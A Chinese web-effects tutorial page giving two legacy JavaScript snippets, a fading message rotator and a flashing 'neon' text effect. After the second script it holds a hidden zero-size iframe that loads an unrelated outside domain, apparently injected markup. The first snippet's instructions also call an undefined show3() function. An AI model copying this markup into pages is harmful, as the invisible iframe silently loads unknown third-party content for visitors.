15、字符不断消隐

15、字符不断消隐

脚本说明:

第一步:把如下代码加入<head>区域中:

 <SCRIPT>

 

messages = new Array()

messages[0] = "你好,最近忙吗?"

messages[1] = "欢迎你的到来"

messages[2] = "请多呆一会"

messages[3] = "你一定会有所收获的"

messages[4] = "Netscape Navigator不太支持这个"

 

mescolor = new Array()

mescolor[0] = "000000"

mescolor[1] = "FF0000"

mescolor[2] = "008800"

mescolor[3] = "0000FF"

mescolor[4] = "888800"

 

messize = new Array()

messize[0] = "30pt"

messize[1] = "40pt"

messize[2] = "50pt"

messize[3] = "30pt"

messize[4] = "20pt"

 

var i_messages = 0

var timer

 

function dotransition() {

    if (document.all) {

        content.filters[0].apply()

        content.innerHTML = "<span style='color:"+mescolor[i_messages]+";font-size:"+messize[i_messages]+";filter: revealTrans(Transition=12, Duration=3)'>"+messages[i_messages]+"</span>"

        content.filters[0].play()

        if (i_messages >= messages.length-1) {

            i_messages = 0

        }

        else {

            i_messages++

        }

    }

   

    if (document.layers) {

       document.content.document.write("<span style='color:"+mescolor[i_messages]+"'>"+messages[i_messages]+"</span>")

        if (i_messages >= messages.length-1) {

            i_messages = 0

        }

        else {

            i_messages++

        }

    }

    timer = setTimeout("dotransition()",5000)  

}

 

</SCRIPT>

 

 

第二步:<body>中加入如下代码:

<DIV id=content

style="FILTER: revealTrans(Transition=12, Duration=2); HEIGHT: 200px; LEFT: 93px; POSITION: absolute; TEXT-ALIGN: center; TOP: 21px; WIDTH: 559px"></DIV>

 

 

第三步:把<body>中内容改为:

<body bgcolor="#fef4d9" onLoad="show3()">

16、荧光灯一个效果 代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript1.2">

 

var message="网页特效梦工厂"

var neonbasecolor="0000FF"

var neontextcolor="FF0000"

var flashspeed=100

 

var n=0

if (document.all){

document.write('<font color="'+neonbasecolor+'">')

for (m=0;m<message.length;m++)

document.write('<span id="neonlight">'+message.charAt(m)+'</span>')

document.write('</font>')

 

var tempref=document.all.neonlight

}

else

document.write(message)

 

function neon(){

 

//Change all letters to base color

if (n==0){

for (m=0;m<message.length;m++)

tempref[m].style.color=neonbasecolor

}

 

//cycle through and change individual letters to neon color

tempref[n].style.color=neontextcolor

 

if (n<tempref.length-1)

n++

else{

n=0

clearInterval(flashing)

setTimeout("beginneon()",1500)

return

}

}

 

function beginneon(){

if (document.all)

flashing=setInterval("neon()",flashspeed)

}

beginneon()

 

 

</script>

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_wenzi_shijian_caidan.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

 

</body>

 

</html>

 

Write a comment

Comments: 0